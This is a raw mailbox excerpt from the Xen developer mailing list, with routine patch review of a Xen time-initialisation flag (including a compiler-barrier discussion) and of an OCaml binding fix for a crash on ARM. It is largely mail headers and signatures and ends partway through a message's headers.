	Stefano Stabellini <sstabellini@kernel.org>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	Bertrand Marquis <bertrand.marquis@arm.com>,
	Volodymyr Babchuk <volodymyr_babchuk@epam.com>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>
Subject: Re: [PATCH v4 1/3] time: add "NOW() good" indicator
Message-ID: <amm95OSsZ-qfdypo@macbook.local>
References: <f5040939-b166-4050-9a27-117b772547d4@suse.com>
 <b7513795-9e4b-4358-9d46-6c7036d64b81@suse.com>
 <amhlnWAwF-AS_sH7@macbook.local>
 <baddc2f7-deab-4727-a688-a6fe30f7fb89@suse.com>
 <amiFV3IWZUoaT57V@macbook.local>
 <fff1460b-7ec7-44f0-9772-35fb5bc87cb9@suse.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
In-Reply-To: <fff1460b-7ec7-44f0-9772-35fb5bc87cb9@suse.com>

On Tue, Jul 28, 2026 at 01:37:15PM +0200, Jan Beulich wrote:
> On 28.07.2026 12:32, Roger Pau MonnÃ© wrote:
> > On Tue, Jul 28, 2026 at 10:24:38AM +0200, Jan Beulich wrote:
> >> On 28.07.2026 10:17, Roger Pau MonnÃ© wrote:
> >>> On Tue, Jun 30, 2026 at 04:06:00PM +0200, Jan Beulich wrote:
> >>>> --- a/xen/arch/x86/time.c
> >>>> +++ b/xen/arch/x86/time.c
> >>>> @@ -2660,6 +2660,7 @@ void __init early_time_init(void)
> >>>>  
> >>>>      set_time_scale(&t->tsc_scale, tmp);
> >>>>      t->stamp.local_tsc = boot_tsc_stamp;
> >>>> +    NOW_good = true;
> >>>
> >>> Would you need a barrier here to ensure compiler doesn't re-order the
> >>> writes?  Maybe using ACCESS_ONCE(), or a smp_wmb() like it's used in
> >>> other arches?
> >>
> >> Aiui it isn't needed here. The compiler can't re-order the two writes,
> >> due to our use of -fno-strict-aliasing. The barrier is there on other
> >> arch-es to avoid re-ordering in hardware.
> > 
> > You are the expert in compilers, but it was my understanding that
> > `no-strict-aliasing` only affects the ordering of pointers accesses,
> > but not plain variables.  IOW: NOW_good accesses could be reordered
> > because it's not a pointer.  Does the compiler consider t can point to
> > &NOW_good and hence it can't be reordered?
> 
> Yes, that's my understanding of how this work. (Yet no, "expert" surely
> is going too far.) Things would be different if NOW_good was a function-
> local variable, I think.

OK, I wouldn't mind adding a compiler barrier to say on the safe side,
but I also won't object if you think that's enough.

Acked-by: Roger Pau MonnÃ© <roger@xenproject.org>

Thanks, Roger.


From xen-devel-bounces@lists.xenproject.org Wed Jul 29 08:51:40 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 08:51:40 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1375347.1622511 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp00m-0008DE-TM; Wed, 29 Jul 2026 08:51:36 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1375347.1622511; Wed, 29 Jul 2026 08:51:36 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp00m-0008D7-QD; Wed, 29 Jul 2026 08:51:36 +0000
Received: by outflank-mailman (input) for mailman id 1375347;
 Wed, 29 Jul 2026 08:51:35 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrew.cooper@citrix.com>) id 1wp00l-0008D1-2Q
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 08:51:35 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wp00k-00H7w9-Fd
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 10:51:34 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a69bf04-2eae-0a2a0a5409dd-0a2a450582de-40
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 10:51:34 +0200
Received: from [52.101.46.55]
 (helo=CO1PR03CU002.outbound.protection.outlook.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a69bf13-4cb1-0a2a45050019-34652e37fd19-4
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 10:51:33 +0200
Received: from CH8PR03MB8275.namprd03.prod.outlook.com (2603:10b6:610:2b9::7)
 by IA1PR03MB8264.namprd03.prod.outlook.com (2603:10b6:208:59f::24)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.270.12; Wed, 29 Jul
 2026 08:51:29 +0000
Received: from CH8PR03MB8275.namprd03.prod.outlook.com
 ([fe80::a70d:dc32:bba8:ce37]) by CH8PR03MB8275.namprd03.prod.outlook.com
 ([fe80::a70d:dc32:bba8:ce37%7]) with mapi id 15.21.0245.012; Wed, 29 Jul 2026
 08:51:29 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=Kt+YNceUj52suXewhwO6Q9nNmNY2ZVIXDE4dyDi7QQjYph2/HaVcP2scCyXdG5zq2xUCFSPeRS1DnhEHeO05K0r9TndT2UEOwQ0VJ+Vpz1HMjJVFH5P6JVNcs4ZIJP8WFkkQ0bGRqlDeGKfqC2Tc/DsYIEDrpBEMliRDe06DEzoH60MRUJinRXh6kHU6hTG+I3UKzV2hGOEHzQ/oQSZl8o13uHfod1+kFLWmuoOdKkR8N4VHfb+LNgONz6I7eo2imYDignUgjhrsmzdHNLLU82J6Z4VX6p3W+FZoEUAMXZlLymG0ZLR+JLnJX/SwSBi244g+S0KPH4iqb1OO7UBfKw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=a8NNKqFCm9LTvbsJ64hzoc1pOgWXBKCz2+iV28lJFSc=;
 b=jOCuSE6x59ZbwU3ExX69O3VT9O2SpmtAh+Oh51i3m+5Gl9ICrvRnXgMN1W416VxDj9xyy8q5uAl+Cw0TSkqKm1TayEA83KRzlUT4v79jzQeEcDoLv97oiu754IMRaus+6Dj8dOrF9W7WaSTf7TX5jX8Pjx78IGGGmUnPNkrCq9vW0vbuQ97Yn9hl4ESilmxs721S5ejaYXhZadkUerudp0eU17W+FpbH6juftThBXLvsI3LJL4P0m/aJDwo9FPv6pXHvhxQdnX6IMI0svOQYMeBva0v9w2c1xWabUY8560LpsPhxJmWTcKTg9cty+k1d3xwi3UNiwoAz5tBnMj+vwg==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=a8NNKqFCm9LTvbsJ64hzoc1pOgWXBKCz2+iV28lJFSc=;
 b=eK9kvj0TNrMDq0/05vJcr2A2adbO7bXlm5WaJ/DaR1avCZT4ezm4apMR41ya8kwX3cuKGkRqLy1TK7/dl/3ax75YtJf9vvK1A0t+Rv73g34HQlDrWXGbHMjk5cFnu0JyWsf7mRs2BJaiVY7WxGN36nawLsd3RnAPF4YUBEypX5k=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
Message-ID: <13e30579-a3eb-49ef-98e8-e358d0df99ce@citrix.com>
Date: Wed, 29 Jul 2026 09:51:26 +0100
User-Agent: Mozilla Thunderbird
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 Julian Vetter <julian.vetter@vates.tech>,
 Andrii Sultanov <andriy.sultanov@vates.tech>,
 Guillaume Thouvenin <guillaume.thouvenin@vates.tech>,
 Oleksii Kurochko <oleksii.kurochko@gmail.com>,
 Xen-devel <xen-devel@lists.xenproject.org>
Subject: Re: [PATCH 1/2] tools/ocaml: Fix crash in
 Xenctrl.domain_getinfo{,list} on ARM
To: Jan Beulich <jbeulich@suse.com>
References: <20260728154830.67734-1-andrew.cooper3@citrix.com>
 <20260728154830.67734-2-andrew.cooper3@citrix.com>
 <b050c051-c165-42a4-a76f-781c8d43248e@suse.com>
Content-Language: en-GB
From: Andrew Cooper <andrew.cooper3@citrix.com>
Autocrypt: addr=andrew.cooper3@citrix.com; keydata=
 xsFNBFLhNn8BEADVhE+Hb8i0GV6mihnnr/uiQQdPF8kUoFzCOPXkf7jQ5sLYeJa0cQi6Penp
 VtiFYznTairnVsN5J+ujSTIb+OlMSJUWV4opS7WVNnxHbFTPYZVQ3erv7NKc2iVizCRZ2Kxn
 srM1oPXWRic8BIAdYOKOloF2300SL/bIpeD+x7h3w9B/qez7nOin5NzkxgFoaUeIal12pXSR
 Q354FKFoy6Vh96gc4VRqte3jw8mPuJQpfws+Pb+swvSf/i1q1+1I4jsRQQh2m6OTADHIqg2E
 ofTYAEh7R5HfPx0EXoEDMdRjOeKn8+vvkAwhviWXTHlG3R1QkbE5M/oywnZ83udJmi+lxjJ5
 YhQ5IzomvJ16H0Bq+TLyVLO/VRksp1VR9HxCzItLNCS8PdpYYz5TC204ViycobYU65WMpzWe
 LFAGn8jSS25XIpqv0Y9k87dLbctKKA14Ifw2kq5OIVu2FuX+3i446JOa2vpCI9GcjCzi3oHV
 e00bzYiHMIl0FICrNJU0Kjho8pdo0m2uxkn6SYEpogAy9pnatUlO+erL4LqFUO7GXSdBRbw5
 gNt25XTLdSFuZtMxkY3tq8MFss5QnjhehCVPEpE6y9ZjI4XB8ad1G4oBHVGK5LMsvg22PfMJ
 ISWFSHoF/B5+lHkCKWkFxZ0gZn33ju5n6/FOdEx4B8cMJt+cWwARAQABzSlBbmRyZXcgQ29v
 cGVyIDxhbmRyZXcuY29vcGVyM0BjaXRyaXguY29tPsLBegQTAQgAJAIbAwULCQgHAwUVCgkI
 CwUWAgMBAAIeAQIXgAUCWKD95wIZAQAKCRBlw/kGpdefoHbdD/9AIoR3k6fKl+RFiFpyAhvO
 59ttDFI7nIAnlYngev2XUR3acFElJATHSDO0ju+hqWqAb8kVijXLops0gOfqt3VPZq9cuHlh
 IMDquatGLzAadfFx2eQYIYT+FYuMoPZy/aTUazmJIDVxP7L383grjIk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DJStE4sbPhjbsPCrlXf6W9CxSyQ0qmZ2bXsLQYRj2xqd1
 bpA+1o1j2N4/au1R/uSiUFjewJdT/LX1EklKDcQwpk06Af/N7VZtSfEJeRV04unbsKVXWZAk
 uAJyDDKN99ziC0Wz5kcPyVD1HNf8bgaqGDzrv3TfYjwqayRFcMf7xJaL9xXedMcAEQEAAcLB
 XwQYAQgACQUCUuE2fwIbDAAKCRBlw/kGpdefoG4XEACD1Qf/er8EA7g23HMxYWd3FXHThrVQ
 HgiGdk5Yh632vjOm9L4sd/GCEACVQKjsu98e8o3ysitFlznEns5EAAXEbITrgKWXDDUWGYxd
 pnjj2u+GkVdsOAGk0kxczX6s+VRBhpbBI2PWnOsRJgU2n10PZ3mZD4Xu9kU2IXYmuW+e5KCA
 vTArRUdCrAtIa1k01sPipPPw6dfxx2e5asy21YOytzxuWFfJTGnVxZZSCyLUO83sh6OZhJkk
 b9rxL9wPmpN/t2IPaEKoAc0FTQZS36wAMOXkBh24PQ9gaLJvfPKpNzGD8XWR5HHF0NLIJhgg
 4ZlEXQ2fVp3XrtocHqhu4UZR4koCijgB8sB7Tb0GCpwK+C4UePdFLfhKyRdSXuvY3AHJd4CP
 4JzW0Bzq/WXY3XMOzUTYApGQpnUpdOmuQSfpV9MQO+/jo7r6yPbxT7CwRS5dcQPzUiuHLK9i
 nvjREdh84qycnx0/6dDroYhp0DFv4udxuAvt1h4wGwTPRQZerSm4xaYegEFusyhbZrI0U9tJ
 B8WrhBLXDiYlyJT6zOV2yZFuW47VrLsjYnHwn27hmxTC/7tvG3euCklmkn9Sl9IAKFu29RSo
 d5bD8kMSCYsTqtTfT6W4A3qHGvIDta3ptLYpIAOD2sY3GYq2nf3Bbzx81wZK14JdDDHUX2Rs
 6+ahAA==
In-Reply-To: <b050c051-c165-42a4-a76f-781c8d43248e@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-ClientProxiedBy: LO6P123CA0055.GBRP123.PROD.OUTLOOK.COM
 (2603:10a6:600:310::12) To CH8PR03MB8276.namprd03.prod.outlook.com
 (2603:10b6:610:2c1::14)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: CH8PR03MB8275:EE_|IA1PR03MB8264:EE_
X-MS-Office365-Filtering-Correlation-Id: b25f7066-9f00-4c4c-f889-08deed4e94ee
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|366016|1800799024|23010399003|376014|6133799003|56012099006|4143699003|11063799006|10067099003|18002099003|22082099003;
X-Microsoft-Antispam-Message-Info:
	VDfYWgBJ/1Opzug6DARWScm9vYJKxIfL6wCU5DVnKi60KnIHlbIiy8eQpWWNz9ZJ+BFCdJmDx0RDqmv1F+CBCgpcv3jd+bDdVgYwaIucRyqE4+etJGUOcZ6uaqWQWSOrWQ/KFb5xs6vkM/S94OqnNyCZYjnglFrMOmXZJVRHxU3EvQiSh+zT64WuvBJRxbGuwZoA8uyHqC+L5b0c750WtNd5R5I584MeNpy7IQBplsSsdSiq7/8sCyaOpgjUobYuwZJ7TKBzSlJlUIUjYOFHpAtgoNuYrEAkYtpIEw9H3RynDqhl7t3Ne3AosfrZnJFqCd2iKaiPs06H+CkS1rH/WqoUKj+0eFqgCjtldMmWNPP0jKZ+xKhdPinLfxDOdTY3jRO2/txT1pjTcFCZmyvLgQ1RSWbssEzNowg8mDWwKWFZ7OUZXJiMLTvSwLPKOT2JAM4h9e+AOQVQARPWw3aySM8bILTM4Ebt+zIO6pFlqyBT/akEQpn8hXBKERsalNra8TCNkZzqNVj/cpqoVY7AFoebSdp9fUZhsr5XK2Qq9HGzSc/EK6moHGuWvxRyu76ULlPfp5DNlaz5SG6EEIAkF6PUR6fy1jBOu1CC0gj5TqIl4hdZIroS+hxaxIM/0vprRg7xXtqjZfv9MvNM3fAmSrsuhIn1QbdPbEGGST3zewk=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:CH8PR03MB8275.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(366016)(1800799024)(23010399003)(376014)(6133799003)(56012099006)(4143699003)(11063799006)(10067099003)(18002099003)(22082099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?utf-8?B?ODdWVlBxTWZLV3g5TzlLSEtjWUJJM0J5TDN0dEUwSXo3YzNtSmZ6bjhCL0RI?=
 =?utf-8?B?d3dLeDJxVVVFc0FnNlpjWUJpd203UHpObkVRSmtIZzNSWllPSHFCS09GM25s?=
 =?utf-8?B?WUNVcXZENEs1RHN2YnBSYWFoZDVuNUNRNjFtREZZUHhKZzhYeTJIdytNODZW?=
 =?utf-8?B?RmJxRHBmRW1URS9hVlMxczdGTzY5ZFJNZWgwK0R6TzM4SDBpTXliclhrclZ5?=
 =?utf-8?B?ZTh6RDBLdmZmbDNPZ0VlV2cxOTNWRDgzbThWTno2V2NHVnArcVFiSEhLVWhT?=
 =?utf-8?B?RlpSbFhDVkQ2U00yZlhVNTB3cWM0WnFVNk9pemgvbjJBa3RqSmo4ckZFUUl2?=
 =?utf-8?B?aWxnTCtRWk5XYjkyOGlacW1IRDRnZHo5NVUrVjdWbXVrQ1J1cjAvbHNjblBV?=
 =?utf-8?B?SlA5NXJRUTR2K2l1MDJLb0FKUDd6bStQYXF5RGNkZGFjTzY3dXB5NE4vcVFV?=
 =?utf-8?B?NkY1MmZoTWFrKzZDaTYvTWN4Wi82WnU1VlJtVWVJbHIrWXF0eHRvOFVWdmtS?=
 =?utf-8?B?L1dIb0JQeXZ1OEFzaGk0WGFPcGZCR3NRTitSYjVDQlNrbUx0TGgrVXpnWG9T?=
 =?utf-8?B?Q0hOM3F1Y1JoOGFqdzF3dlF6d2Jld1ZVSlNZemRTZDlpT2RmTG9Jdkl5dVc2?=
 =?utf-8?B?NW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Message-Id: b25f7066-9f00-4c4c-f889-08deed4e94ee
X-MS-Exchange-CrossTenant-AuthSource: CH8PR03MB8276.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 29 Jul 2026 08:51:29.6318
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: Qy6JyeBK0uEeA487K3MEklCnlcP1/+CNLwJkRgLmDVweHlAAYAlJIm6Z6UhY08AfapszxrgsK9pWSqlkW8GK6NnKH9bAIyNkSY602oYFeT4=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: IA1PR03MB8264
X-purgate-ID: tlsNG-c201ff/1785315093-71AAF2A1-C1DB55E6/0/0
X-purgate-type: clean
X-purgate-size: 1572

On 29/07/2026 7:03 am, Jan Beulich wrote:
> On 28.07.2026 17:48, Andrew Cooper wrote:
>> @@ -452,16 +456,17 @@ static value alloc_domaininfo(xc_domaininfo_t * info)
>>  		(info->arch_config.emulation_flags);
>>  
>>  	/* xen_x86_arch_domainconfig */
>> -	x86_arch_config = caml_alloc_tuple(1);
>> -	Store_field(x86_arch_config, 0, emul_list);
>> +	arch_config = caml_alloc_tuple(1);
>> +	Field(arch_config, 0) = emul_list;
>>  
>> -	/* arch_config: arch_domainconfig */
>> -	arch_config = caml_alloc_small(1, 1);
>> -
>> -	Store_field(arch_config, 0, x86_arch_config);
>> -
>> -	Store_field(result, 16, arch_config);
>>  #endif
>> +	if (tag < 0)
>> +		caml_failwith("Unimplemented architecutre in alloc_domaininfo()");
> As I now ended up looking here as well (to determine whether this series will
> want backporting): s/architecutre/architecture/ .

Fixed.Â  There was also a typo in the commit message.

> As to backporting: Both patches may want to have Fixes: tags?

Hmm, yes.

Technically, Fixes: 81838c9067ab ("ocaml: fix arm build") was the one
which caused the pointer not to be filled in, but it was a build fix for
Fixes: 9d683b5e375d ("tools/ocaml: Expose arch_config in domaininfo")
which was the main one intending to produce an arch_config

I guess I should go with both tags.

Patch 2 is interesting as well, because really it's both tags too.Â  In
my main first patch (if it had compiled), we would have ended up handing
an xen_x86_arch_domainconfig back when an ARM toolstack asked.

Fixed up locally.

~Andrew


From xen-devel-bounces@lists.xenproject.org Wed Jul 29 08:57:22 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 08:57:22 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1375361.1622520 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp06G-0000Qu-GZ; Wed, 29 Jul 2026 08:57:16 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1375361.1622520; Wed, 29 Jul 2026 08:57:16 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp06G-0000Qn-D7; Wed, 29 Jul 2026 08:57:16 +0000
Received: by outflank-mailman (input) for mailman id 1375361;
 Wed, 29 Jul 2026 08:57:15 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wp06E-0000Qh-T5
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 08:57:15 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wp06D-00Dh8D-Tw
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 10:57:13 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a69c05f-5cb7-0a2a0a5109dd-0a2a450adcb0-26
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 10:57:13 +0200
Received: from [209.85.221.41] (helo=mail-wr1-f41.google.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a69c069-f2d2-0a2a450a0019-d155dd29d8ec-3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 10:57:13 +0200
Received: by mail-wr1-f41.google.com with SMTP id
 ffacd0b85a97d-47f97d310caso641768f8f.2
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 01:57:13 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47fb6b0f039sm6500319f8f.18.2026.07.29.01.57.12
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 29 Jul 2026 01:57:12 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785315433; x=1785920233; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=Epn33SfVICC1P+Qrb4Z3SC4fTXuuj32gBmatH2To1hg=;
        b=Jqg2mpybyFAYUX9K1x0ow0g5vcRRM9mcIiM7MVzzZ+G3h1G8SRvlj+wX2uZS9m9R3b
         4WI0ftvC24c+5c7n6HIqmv0jzR+4/7H5LTk6cS9+lC9mF3B8/iGoziSGlEeJo2A/SAMU
         wXjKOSYyQt5SFfLEo2xqDl9n1/6yxqKvfoW9oPt1EJtY2RGMxnHGkTvVVBlGEr0t8GB1
         LCj2lCajIxwwSD1cvtnNGrqmDS7gG5AhJnPLvbSakbT/GkvhuZ1cZbl4SnIdQHQv9Tom
         x5AN8+XtTUmTqrsICrMnfYInX/4g0TyaXtca9WpQtWqSnILyty7KNKQ9t0pJvXM6KOSa
         jW/Q==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785315433; x=1785920233;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=Epn33SfVICC1P+Qrb4Z3SC4fTXuuj32gBmatH2To1hg=;
        b=m+axmiLpjs3c/jO27GDf2ssbNcv30zVEMDvwHtmCeo/Ba28Of55hekA1CKGIwD9trE
         TLwATuAzTuY7/cjB1QZQcNMu1vZSGLimGiczVNB6fB23fY2criOCv0VoWD1ROw38CDi8
         VabnW5i9ZUauiU5JxxbriFJClyf6nVR9eUzZuUGq/m7Nf5yMSgskx+Lm6bR84gUY2/AF
         1lVWn4uyoUK4Id1VR61KSzjPILcKsvo/Hlbhx5nxeBYSI+V38blpPwrK6LceADptOIkN
         cIrXsAA7pBgDbAMyce/RZQc9EWC57TBvD84GtJcxdyccMxA9Gn48rfoFxF85k82qvyDs
         e0MA==
X-Gm-Message-State: AOJu0YzU4SS4T9iatrL9Q9qyODUSDAKruAdzPZfKAu5AydBC867EKHVv
	/dtfAJ2LxfDl5uxTl0xjROvH3MEV+MSiJyIai0SxG+gisN2abcpXS2BweVBFlcdG/w==
X-Gm-Gg: AR+sD11egX3VYwnS/+0JsqgR4Yqfg4YMcGUm7xEDWi9198fgyagHVf4ALqoVCqc9ynK
	hI4Kr/m68IX10JJLOdEh0QX78NFvbxV9iZcDZXemOostEeFUof7PiVxHKsm/p+GWlkLyiLSwERG
	XqIolJyrsY/1HTiqmHyfJUnvCqvav2dNklT8Wg3Xo7LuKkoJlNG67QieTrqm9XeX/3teK2w09fL
	ROd5pLHhsm0S5nAQlHV8TMr1gf1lWdCIsxZEIGAe+Enov/Rcf9aQtgubQj0s67PatQCy9p4fvjS
	/+ofmkuLaY7y+A266kRBWyZRi4g0SDfJecdo+sFTp0XljTs2MHYKkAEM4OmnT/jwyiscETxNoUR
	f1dz9DFqIBMzv6u9484Ep466IR0FNWMZXNdnemmyJV5ImxpRo90XcWsCkyv9bGexdKPVUbhkTs2
	J2k+rHPM+bJ8JkkkiWrQuthC95jXyNmk+U49jj/76EE7CDQ2bFSZ3tUd5nROwhfytOLE4PvMyES
	cdgvV1qsC1/5rT162bVEdCzTVDyexKn8EJe6f/pHsmGANZjZbJh
X-Received: by 2002:a05:6000:18a4:b0:47f:9241:12b0 with SMTP id ffacd0b85a97d-47fb1edc968mr6420570f8f.50.1785315433177;
        Wed, 29 Jul 2026 01:57:13 -0700 (PDT)
Message-ID: <bb549739-bbac-4f85-b474-3a4b9f2b282a@suse.com>
Date: Wed, 29 Jul 2026 10:57:11 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v4 1/3] time: add "NOW() good" indicator
To: =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger@xenproject.org>
Cc: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>,
 Andrew Cooper <andrew.cooper3@citrix.com>, Julien Grall <julien@xen.org>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Teddy Astie <teddy.astie@vates.tech>,
 Bertrand Marquis <bertrand.marquis@arm.com>,
 Volodymyr Babchuk <volodymyr_babchuk@epam.com>,
 Oleksii Kurochko <oleksii.kurochko@gmail.com>
References: <f5040939-b166-4050-9a27-117b772547d4@suse.com>
 <b7513795-9e4b-4358-9d46-6c7036d64b81@suse.com>
 <amhlnWAwF-AS_sH7@macbook.local>
 <baddc2f7-deab-4727-a688-a6fe30f7fb89@suse.com>
 <amiFV3IWZUoaT57V@macbook.local>
 <fff1460b-7ec7-44f0-9772-35fb5bc87cb9@suse.com>
 <amm95OSsZ-qfdypo@macbook.local>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
